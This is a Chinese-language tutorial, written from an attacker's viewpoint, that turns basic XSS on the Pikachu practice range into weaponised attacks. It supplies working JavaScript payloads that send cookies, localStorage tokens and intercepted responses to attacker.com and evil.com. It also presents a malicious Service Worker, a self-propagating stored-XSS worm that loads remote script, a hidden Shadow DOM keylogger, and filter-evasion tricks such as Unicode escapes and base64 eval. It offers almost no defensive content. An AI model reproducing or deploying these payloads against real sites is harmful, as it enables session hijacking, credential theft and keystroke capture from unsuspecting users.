从“弹个窗”到“拿Cookie”在Pikachu靶场里拆解XSS攻击链的实战进阶当你第一次在Pikachu靶场看到scriptalert(1)/script弹出那个简陋的对话框时可能还没意识到这背后隐藏的攻击潜力。XSS攻击从来不只是弹窗游戏而是从漏洞验证到实际攻击的完整链条。本文将带你从攻击者视角在Pikachu靶场中演练如何将基础弹窗升级为窃取Cookie、页面劫持等高危操作。1. 攻击链视角下的XSS分类新解传统教程常按反射型、存储型、DOM型平行介绍XSS但实战中攻击者更关注的是攻击持久性和危害程度。在Pikachu靶场中我们可以重新划分攻击场景瞬时攻击反射型XSS需要诱导点击如修改URL参数GET /xss_reflected_get.php?messagescriptalert(document.cookie)/script持久化攻击存储型XSS将恶意代码写入数据库例如留言板注入scriptwindow.location.replace(http://evil.com/steal.php?cookiedocument.cookie)/script客户端渗透DOM型XSS不依赖服务器交互典型如 onmouseoverfetch(http://evil.com/log?datalocalStorage.accessToken)攻击复杂度对比表类型触发条件持久性典型危害反射型用户点击恶意链接低会话劫持存储型访问感染页面高大规模用户数据泄露DOM型客户端解析异常中本地存储窃取2. Payload构造从POC到武器化2.1 基础验证Payload的局限性初学者常用的弹窗测试代码实际上暴露了防御弱点alert(1) // 过于显眼且无实际危害改进方向应关注静默执行避免用户察觉数据外带通过Webhook收集信息持久化利用浏览器存储机制2.2 实战级Cookie窃取方案在Pikachu的存储型XSS关卡尝试替换基础弹窗为script const xhr new XMLHttpRequest(); xhr.open(POST, http://attacker.com/collect, true); xhr.send(JSON.stringify({ cookie: document.cookie, origin: location.href, userAgent: navigator.userAgent })); /script关键改进使用XMLHttpRequest替代alert结构化传输数据无界面交互痕迹2.3 高级持久化技巧通过Service Worker实现持久化攻击// 注册恶意Service Worker navigator.serviceWorker.register(sw.js).then(() { console.log(SW registered); }); // sw.js内容 self.addEventListener(fetch, event { if(event.request.url.includes(sensitive)) { event.respondWith( fetch(event.request).then(res { const cloned res.clone(); cloned.text().then(t { fetch(http://attacker.com/leak, { method: POST, body: t }); }); return res; }) ); } });3. 靶场实战Pikachu关卡深度利用3.1 DOM型XSS的隐蔽渗透在Pikachu的DOM-XSS关卡传统事件触发方式容易被WAF检测。改用SVG向量图形注入svg xmlnshttp://www.w3.org/2000/svg onload const iframe document.createElement(iframe); iframe.style.displaynone; iframe.srcjavascript:parent.postMessage(localStorage.getItem(\token\),\*\); document.body.appendChild(iframe); 优势绕过常规标签检测利用postMessage跨域通信窃取localStorage等客户端存储3.2 存储型XSS的横向移动在留言板漏洞场景下构造自传播Payloadscript if(!window._infected) { window._infected true; const script document.createElement(script); script.src //attacker.com/payload.js; document.head.appendChild(script); // 自动填充感染表单 if(document.forms.length 0) { document.forms[0].elements[content].value script src//attacker.com/payload.js\/script; } } /script4. 防御规避与对抗技术4.1 混淆技术实战针对内容安全策略(CSP)使用Unicode逃逸script \u0061\u006c\u0065\u0072\u0074(1) /script等效于直接执行alert(1)但能绕过简单关键词检测。4.2 基于上下文的Payload调整根据过滤规则动态生成Payloadfunction generatePayload() { const vectors [ svg/onloadalert(1), javascript:eval(atob(YWxlcnQoMSk)), img srcx onerroralert(1) ]; return vectors[Math.floor(Math.random() * vectors.length)]; }4.3 现代浏览器特性滥用利用Shadow DOM隐藏恶意行为const shadow document.body.attachShadow({mode: open}); shadow.innerHTML style:host { display: none }/style script setInterval(() { fetch(http://attacker.com/keylog?dataencodeURIComponent( document.activeElement.value )); }, 1000); /script ;在Pikachu靶场的实践中发现存储型XSS结合IndexedDB API可以实现更隐蔽的数据窃取。通过渐进式攻击链设计从简单的漏洞验证到建立持久化攻击通道这才是XSS作为攻击向量的真正威力。